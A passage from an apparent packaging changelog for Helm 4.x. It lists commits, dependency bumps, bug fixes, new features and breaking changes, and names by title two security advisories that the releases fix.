Mungai)\n 7823853 (dependabot[bot])\n aec7ace (dependabot[bot])\n a23b638 (dependabot[bot])\n 5cddc95 (dependabot[bot])\n * chore(deps): bump sigs.k8s.io/kustomize/kyaml from 0.21.0 to\n 0.21.1 2e266c3 (dependabot[bot])\n * fix(pkg): errorlint linter 259f76a (Matthieu MOREL)\n * fix(internal): errorlint linter 0254182 (Matthieu MOREL)\n * fix(pkg): errorlint linter 6d1490e (Matthieu MOREL)\n * fix(pkg): errorlint linter 4d0ae7f (Matthieu MOREL)\n * fix(internal): errorlint linter abecafa (Matthieu MOREL)\n * fix(pkg): errorlint linter 4330bde (Matthieu MOREL)\n * fix(pkg): errorlint linter c8989d9 (Matthieu MOREL)\n * fix(cmd): errorlint linter edbd705 (Matthieu MOREL)\n * chore: new KEYS entry for George Jenkins 5638c35 (George\n * fix(downloader): safely handle concurrent file writes on\n Windows 76eb37c (Orgad Shaneh)\n * fix(install): check nil for restClientGetter and fix tests\n 9817a68 (Manuel Alonso)\n * feat(create): add --chart-api-version flag (when\n HELM_EXPERIMENTAL_CHART_V3 env var is set) (#31592) 5aac320\n (Evans Mungai)\n * chore(pkg): fix modernize linter 0d75d86 (Matthieu MOREL)\n * chore(internal): fix modernize linter 859292e (Matthieu MOREL)\n * chore(pkg): fix modernize linter 5cc2e55 (Matthieu MOREL)\n * chore(pkg): fix modernize linter ba38159 (Matthieu MOREL)\n * chore(internal): fix modernize linter e2d184c (Matthieu MOREL)\n * chore(pkg): fix modernize linter 111d4e6 (Matthieu MOREL)\n * add image index test e8f386b (Pedro Torres)\n * fix pulling charts from OCI indices d983696 (Pedro Torres)\n 9c9c3a6 (dependabot[bot])\n * Revert \"Consider GroupVersionKind when matching resources\"\n 787b61c (Matheus Pimenta)\n * chore(deps): bump sigs.k8s.io/controller-runtime from 0.23.0 to\n 0.23.1 becf9bf (dependabot[bot])\n * fix(template): deprecate unused --hide-notes and\n --render-subchart-notes flags 6d5f56f (Scott Rigby)\n * chore(deps): bump github.com/fluxcd/cli-utils b53198e\n * chore(deps): bump actions/checkout from 6.0.1 to 6.0.2 b59e533\n * whitespace ec07265 (Austin Abro)\n * fix(copystructure): handle nil elements in slice copying\n e3829eb (Philipp Born)\n * use logger with waiter 63b40a7 (Austin Abro)\n * feat(kstatus): fine-grained context options for waiting b0b35f1\n * Apply suggestions from code review 26e28e8 (George Jenkins)\n * Remove legacy sync-repo.sh script 97fd007 (Jeevan Yewale)\n * chore(deps): bump sigs.k8s.io/controller-runtime from 0.22.4 to\n 0.23.0 5262007 (dependabot[bot])\n * docs: document uninstall using cascade foreground flag e70d59d\n * bugfix(kstatus): do not wait forever on failed resources\n bbec77c (Matheus Pimenta)\n * Modernize Helm v3 CONTRIBUTING.md 443a2a6 (George Jenkins)\n * chore(defaults): server-side apply SDK defaults should always\n match the CLI defaults c1cc625 (Matheus Pimenta)\n * chore: clarify --wait flag help text 828038a (Evans Mungai)\n * chore(deps): bump actions/setup-go from 6.1.0 to 6.2.0 e223771\n * chore(refactor): better testing and functionality for\n installing crd 6501ef4 (Manuel Alonso)\n * bugfix(storage): fix storage not getting logger from driver\n a8eb527 (Matheus Pimenta)\n da1d68a (dependabot[bot])\n * fix(test): fix tests and check nil for restclient 0f949a9\n (Manuel Alonso)\n * fix(test): merge fix correctly 561410a (Manuel Alonso Gonzalez)\n * Remove refactorring changes from coalesce_test.go 0298b2f\n * Fix import b8937ad (Evans Mungai)\n * Update pkg/chart/common/util/coalesce_test.go a333bba (Evans\n Mungai)\n * Fix rollback for missing resources 374aeb4 (Feruzjon\n Muyassarov)\n * fix(install): add more tests and check nil file data 00f0a48\n * fix(test): no check empty resources 0357e8d (Manuel Alonso)\n * fix(install): check lenght and file nil, add tests 52235cc\n * fix(action): crd resources can be empty 268593b (Manuel Alonso)\n * fix: casing issue fixed 1709114 (Mujib Ahasan)\n * fix: error handled correctly 9486062 (Mujib Ahasan)\n * fix: doc string added 12e8b71 (Mujib Ahasan)\n * Fix lint warning 3416dd5 (Evans Mungai)\n * Preserve nil values in chart already 679f051 (Evans Mungai)\n * fix(values): preserve nil values when chart default is empty\n map 292fe70 (Evans Mungai)\n * update: test coverage added for helper function\n validateNameAndGenerateName 1154099 (Mujib Ahasan)\n * update: helper function added for the business logic 522d2fe\n (Mujib Ahasan)\n * generateName is also considered in logic 6769fb6 (Mujib Ahasan)\n * fxi: test concurrency download index 64bae71 (Terry Howe)\n * update: business logic respected for skipping object missing\n name b357bca (Mujib Ahasan)\n * fixed: --dry-run=server now respect generateName 2820ebe (Mujib\n Ahasan)\n * Make error message instructional for the case of lock file\n being out of date 1836c59 (Andreas Sommer)\n - GHSA-q5jf-9vfq-h4h7 Plugin verification fails open when .prov\n is missing, allowing unsigned plugin install\n - GHSA-vmx8-mqv2-9gmg Path traversal in plugin metadata version\n enables arbitrary file write outside Helm plugin directory\n - fix: Plugin missing provenance bypass 05fa379 (George\n - fix: Chart dot-name path bug 4e7994d (George Jenkins)\n - ignore error plugin loads (cli, getter) 2581943 (George\n - fix: Plugin version path traversal 36c8539 (George Jenkins)\n scorecards workflow c61e086 (Terry Howe)\n * Fixed a bug where --dry-run=server was not respecting\n generateName #31563\n * Fixed a bug where empty CRD resources caused a crash. Now it\n prints an error #31578\n * Fixed a bug where OCI references with tag+digest failed with\n \"invalid byte\" error #31601\n * Fixed a bug where user-provided nil value was not preserved\n when chart has an empty map or no default for a key #31644\n * Fixed a regression since Helm 3.18.0 where Pulling charts\n from OCI repositories that use an index to store both\n Container Images and Helm Charts under the same tag failed\n #31776\n * Fixed a Helm 4 regression where gotemplate white space\n trimming directly after YAML doc separators, when present\n after postrendering, caused YAML file corruption #31868\n * Fixed a bug where `FailedStatus` is treated as a terminal\n state, causing upgrades to fail prematurely when cluster\n autoscalers needed time to provision nodes, or when pods were\n being deleted during rolling updates #31897\n * Fixed broken backwards compatibility for deprecated\n `--atomic` flag on install command #31901\n * SDK: Fixed a Windows 'Access Deined' error if multiple\n processes try to download the same chart version concurrently\n #31128\n * SDK: Fixed a bug where users did not receive any logs from\n the waiter, causing confusion as several minutes could pass\n with no user feedback #31717\n * SDK: Fixed a bug where server-side apply defaults did not\n always match the CLI defaults #31732\n * SDK: Fixed a Go import issue when downstream tooling\n attempted to vendor helm.sh/helm/v4/pkg/kube #31852\n - Fixed a bug where --dry-run=server was not respecting\n - Fixed a bug where empty CRD resources caused a crash. Now it\n - Fixed a bug where OCI references with tag+digest failed with\n - Fixed a bug where user-provided nil value was not preserved\n - Fixed a regression since Helm 3.18.0 where Pulling charts\n - Fixed a Helm 4 regression where gotemplate white space\n - Fixed a bug where FailedStatus is treated as a terminal\n - Fixed broken backwards compatibility for deprecated --atomic\n flag on install command #31901\n - SDK: Fixed a Windows 'Access Deined' error if multiple\n - SDK: Fixed a bug where users did not receive any logs from\n - SDK: Fixed a bug where server-side apply defaults did not\n - SDK: Fixed a Go import issue when downstream tooling\n- Update to version 4.1.1:\n - fix: fine-grained context options for waiting #31735\n - fix: kstatus do not wait forever on failed resources #31730\n - fix: Revert \"Consider GroupVersionKind when matching\n resources\" #31772\n - fix: handle nil elements in slice copying #31751\n - Feature: added chart name to dependency logs, namespace to\n resource waiting logs, and confirmation message when all\n resources are ready #31530\n - Feature: improved plugin name validation error messages and\n field name detection #31491\n - Feature: improved the --wait flag by allowing explicit\n strategy selection (including explicit --wait=hookOnly) and\n preventing SDK timeout errors when timeout is not specified\n #31421\n - Feature: allow concurrent dependency build with atomic file\n write #30984\n - Feature: added a --no-headers flag to the 'helm repo list'\n command, allowing users to suppress table headers in the\n output. Useful for scripting and automation #31448\n - SDK feature: added a LoadArchive to common loader #31462\n - SDK feature: introduced support for custom kstatus readers\n #31706\n - Fixed bug where a plugin name could already be used by\n another command #31427\n - Fixed bug where --server-side flag was not passed to install\n when using upgrade --install #31635\n - Fixed bug where HELM_ environment variables were not passed\n to plugins. this fixes a regression which was blocking some\n getter plugins #31613\n - Fixed bug where Helm test --logs failed with\n hook-delete-policy \"hook-failed\" or \"hook-succeed\" #31579\n - Fixed kube client logging issue #31560\n - Fixed regression where vendor-specific suffixes were stripped\n from .Capabilities.KubeVersion.GitVersion, breaking charts\n that detect managed Kubernetes platforms #31528\n - Fixed a bug where helm uninstall with --keep-history did not\n suspend previous deployed releases #12564\n - docs: updated helm template help text to document\n --api-versions #31683\n - docs: fixed documentation about default wait strategy\n - Update pkg/kube/statuswait.go\n - pkg/kube: introduce support for custom kstatus readers\n - chore(deps): bump golang.org/x/text from 0.32.0 to 0.33.0\n - fix(release): fix test compilation error\n - Suppress SC2154 without changing behavior\n - Lint sync-repo.sh with ShellCheck\n - chore: move Evans Mungai from triage to maintainers\n - Replace reflect.Ptr with reflect.Pointer\n - fix: typo in the function names\n - Add documentation for --api-versions flag in template command\n - Fixing failing tests for cli-tools update\n - chore(deps): bump github.com/fluxcd/cli-utils\n - Replace deprecated `NewSimpleClientset`\n - docs(README): add mise alternate installation documentation\n - enable exhaustive linter\n - fix: add default casess to switch statements\n - build: set kube version via `debug.BuildInfo`\n - chore(deps): bump github.com/tetratelabs/wazero from 1.10.1\n to 1.11.0\n - doc: update based on review suggestion\n - test(statuswait): fix Copilot code review suggestion for\n goroutine in tests\n - test(statuswait): add more tests suggested by Copilot code\n review\n - test(statuswait): add some tests for statuswait\n - fix: use namespace-scoped watching to avoid cluster-wide LIST\n permissions\n - fix(doc): Update default wait strategy\n - Update to use slog\n - Fix TestCliPluginExitCode\n - Check plugin name is not used\n - Fix `TestConcurrencyDownloadIndex` typo\n - Use errors.Is to check for io.EOF and gzip.ErrHeader\n - chore(deps): bump actions/upload-artifact from 4.6.2 to 6.0.0\n - chore: fix some comments to improve readability\n - feat: move TerryHowe triage to maintainers\n - Use latest patch release of Go in releases\n - fix(upgrade): pass --server-side flag to install when using\n upgrade --install\n - chore(deps): bump github.com/spf13/cobra from 1.10.1 to\n 1.10.2\n - chore(deps): bump golang.org/x/term from 0.37.0 to 0.38.0\n - Run the vulnerability check on PR that change the file\n - Fix govulncheck in CI\n - Update the govulncheck.yml to run on change\n - Enable the sloglint linter\n - fix(cli): handle nil config in EnvSettings.Namespace()\n - fix(getter): pass settings environment variables\n - fixes comment in install.go\n - chore(deps): bump actions/stale from 10.1.0 to 10.1.1\n - chore(deps): bump golangci/golangci-lint-action from 9.1.0 to\n 9.2.0\n - fixes tests after merge\n - fixes lint issue\n - updates tests after rebase from master\n - Add tests to action package to improve coverage\n - chore(deps): bump actions/checkout from 6.0.0 to 6.0.1\n - Inform we use a different golangci-lint version than the CI\n - Deal with golint warning with private executeShutdownFunc\n - Use length check for MetaDependencies instead of nil\n comparison\n - Code review\n - Fix linting issue\n - Update pkg/action/hooks.go\n - added check for nil shutdown\n - cleaned up empty line\n - updated comment and made defer of shutdown function return\n errors as before and not the possible shutdown error\n - added shutdown hook that is executed after the logs have been\n retrieved\n - chore: fix typo in pkg/downloader/chart_downloader.go\n - Bump required go version (`go.mod` version)\n - Use modernize to use newer Golang features.\n - Remove two redundant if-checks.\n - Fix kube client logging\n - chore(deps): bump golangci/golangci-lint-action from 9.0.0 to\n 9.1.0\n - chore(deps): bump actions/checkout from 5.0.1 to 6.0.0\n - chore(deps): bump actions/setup-go from 5.5.0 to 6.1.0\n - fix: prevent segmentation violation on empty yaml in multidoc\n - fix: prevent reporting fallback on version when none\n specified\n - fix: add missing context to debug logs\n - fix: preserve vendor suffixes in KubeVersion.GitVersion\n - chore(deps): bump actions/checkout from 5.0.0 to 5.0.1\n - fixup test\n - logs\n - fix\n - chore: add warning for registry login with namespace\n - style: linting\n - test: split tests between valid and invalid\n - test: convert tests to table drive tests\n - test: refactor TestMetadataLegacyValidate to be more generic\n - update tests\n - fix: Use server-side apply for object create during update\n - Copy adopted resource info\n - Refactor environment variable expansion in PrepareCommands\n and update tests\n - fix: correct LDFLAGS path for default Kubernetes version\n - fix: improve plugin name validation err messages early via\n unmarshalling\n - fix: Make invalid name error message more similar and move\n tests\n - fix: focus only on plugin name but give more info about what\n we get\n - Make validation error similar and explicit for both metadatas\n - fix: improve plugin name validation error messages\n - Fix syntax errors in the document\n - docs: Fix LFX Health Score badge URL in README.md\n - chore(deps): bump github.com/tetratelabs/wazero from 1.9.0 to\n 1.10.1\n - Publish Helm v4 -\u003e `helm-latest-version`\n - Adding script to download Helm v4\n - refactor: use strings.Builder to improve performance\n - chore(deps): bump sigs.k8s.io/kustomize/kyaml from 0.20.1 to\n 0.21.0\n - chore(deps): bump golangci/golangci-lint-action from 8.0.0 to\n 9.0.0\n - Update pkg/cmd/flags.go\n - Error strategy list match help\n - Prevent surprising failure with SDK when timeout is not set\n - Do not change the default waiting strategy when --wait is not\n set\n - Provide more help for SDK user when setting up WaitStrategy\n - Avoid confusion between `--wait` (watcher) and no --wait\n (hookOnly)\n - The default is not HookOnlyStrategy but WaitStrategy\n - Make wait strategy selection more obvious\n - Increase documentation of --wait flag\n - While testing SDK features for v4. I was surprised with the\n error:\n - fix: do not run release workflow on forks\n - Convert pkg/cmd/load_plugins.go to slog\n - Rename copilot-instructions.md to AGENTS.md\n - fix(rollback): `errors.Is` instead of string comp\n - fix(uninstall): supersede deployed releases\n - for remaining local variable case inconsistency\n - Properly test error messages on pull command's test\n - Adding a LoadArchive to common loader\n - for all other similar cases\n - chore(deps): bump sigs.k8s.io/controller-runtime from 0.22.3\n to 0.22.4\n - chore: increase logging package test coverage\n - feat(repo): add --no-headers option to 'helm repo list'\n - chore: fix typo of public field\n - rename interface{} to any\n - test: protect unknown hook delete policies\n - chore: replace github.com/mitchellh/copystructure\n - fix: Fix Helm v4 release distribtion/get-helm-3 script\n - fix test\n - Make test scripts run without /bin/bash\n - Ignore duplicated URN in logs\n - chore: delete unused var in installer.go\n - fix: assign KUBECONFIG environment variable value to\n env.Kubeconfig\n - add concurrency test on write \u0026 load index file\n - update writing index files to writeAtomicFile\n - fix index concurrency\n- Update to version 4.0.5:\n - Fixed rollback error when a manifest is removed in a failed\n upgrade #13437\n - Fixed check to ensure CLI plugin does not load with the same\n name as an existing Helm command\n - Fixed helm test --logs failure with hook-delete-policy\n \"hook-failed\" or \"hook-succeed\" #9098\n - Fixed a bug where empty dependency lists were incorrectly\n treated as present\n - Fixed a bug where the watch library did not only watch\n namespaces associated with the objects\n - Fixed regression in downloader plugins environment variables\n #31612\n - Fixed bug where --server-side flag is not respected with helm\n upgrade --install #31627\n - For SDK users: exposed KUBECONFIG to env\n upgrade --install 1b6053d (Evans Mungai)\n 1e3ee1d (Zadkiel AHARONIAN)\n - fix(getter): pass settings environment variables 31bd995\n (Zadkiel AHARONIAN)\n goroutine in tests 41a6b36 (Mohsen Mottaghi)\n review 2a2e6f7 (Mohsen Mottaghi)\n - test(statuswait): add some tests for statuswait 3818c02\n (Mohsen Mottaghi)\n permissions 66cab24 (Mohsen Mottaghi)\n comparison abf2007 (Calvin Bui)\n 4b3de18 (Benoit Tigeot)\n - Code review 3212770 (Benoit Tigeot)\n - Fix linting issue 417aae9 (Benoit Tigeot)\n - Update pkg/action/hooks.go 6c838b4 (Michelle Fernandez\n Bieber)\n - added check for nil shutdown c5d87f2 (Michelle Fernandez\n - cleaned up empty line 53175b7 (Michelle Fernandez Bieber)\n errors as before and not the possible shutdown error d2df1ab\n (Michelle Fernandez Bieber)\n retrieved 5b223de (Michelle Fernandez Bieber)\n - Fix TestCliPluginExitCode e845b68 (tison)\n - Check plugin name is not used 30bfd57 (tison)\n - Fix rollback for missing resources 0fd2c41 (Feruzjon\n env.Kubeconfig b456e27 (LinPr)\n - fix(rollback): errors.Is instead of string comp e2021f8\n - fix(uninstall): supersede deployed releases af7c153 (Hidde\n- Update to version 4.0.4 (4.0.3 was not released):\n * Bump v4.0.2 CVE deps cd700e0 (George Jenkins)\n * Use latest patch release of Go in releases 9db13ee (Matt\n- Update to version 4.0.2:\n * fix: prevent reporting fallback on version when none specified\n * fix: prevent segmentation violation on empty yaml in multidoc\n * Ignore duplicated URN in logs\n * jsonschema: warn and ignore unresolved URN $ref to match\n v3.18.4\n * Publish Helm v4 -\u003e `helm-latest-version`\n * fix: Fix Helm v4 release distribtion/get-helm-3 script\n * Copy adopted resource info 12500dd (George Jenkins)\n * fixup test 1cf3841 (George Jenkins)\n * logs 32e2d08 (George Jenkins)\n * fix 4b6472f (George Jenkins)\n * fix: Use server-side apply for object create during update\n 9dfe3b3 (George Jenkins)\n * Fix kube client logging 861adc2 (Matt Farina)\n * update tests b2f7872 (yxxhero)\n * Refactor environment variable expansion in PrepareCommands and\n update tests 77f97a1 (yxxhero)\n * Fix syntax errors in the document a156195 (Fish-pro)\n * fix: correct LDFLAGS path for default Kubernetes version\n 2c0dcda (Benoit Tigeot)\n * New Features\n Helm 4 has numerous new features, but a few deserve\n highlighting here:\n - Redesigned plugin system that supports Web Assembly based\n plugins\n - Post-renderers are now plugins\n - Server side apply is now supported\n - Improved resource watching, to support waiting, based on\n kstatus\n - Local Content-based caching (e.g. for charts)\n - Logging via slog enabling SDK logging to integrate with\n modern loggers\n - Reproducible builds of chart archives\n - Updated SDK API including support for multiple chart API\n versions (new experimental v3 chart API version coming soon)\n * Compatibility with Helm v3\n Helm v4 is a major version with backward incompatible changes\n including to the flags and output of the Helm CLI and to the\n SDK.\n Please evaluate the changes to your workflows. The changes are\n not as extensive as those from Helm v2 to v3, with the goal\n that the majority of workflows remain compatible between Helm\n v3 and v4.\n Helm charts apiVersion v2 (majority of today's charts) will\n continue to be supported in Helm v4. Existing charts should\n continue to install, upgrade, and otherwise work. Please test\n the installation and upgrade of charts to ensure it works as\n expected. Changes (e.g., server side apply) may impact the\n experience.\n * Breaking Changes\n - Post-renderers implemented as plugins\n Post-renderers are implemented as plugins. With this change,\n it is no longer possible to pass an executable directly to\n helm render --post-renderer, but a plugin name must be\n passed. This might require updates to existing any\n post-renderer workflows.\n","status":"published","published":"2026-10-19T09:48:48Z","modified":"2026-10-27T17:23:10.85597584Z","updated_at":"2026-11-02T15:54:04.519245Z"}]}}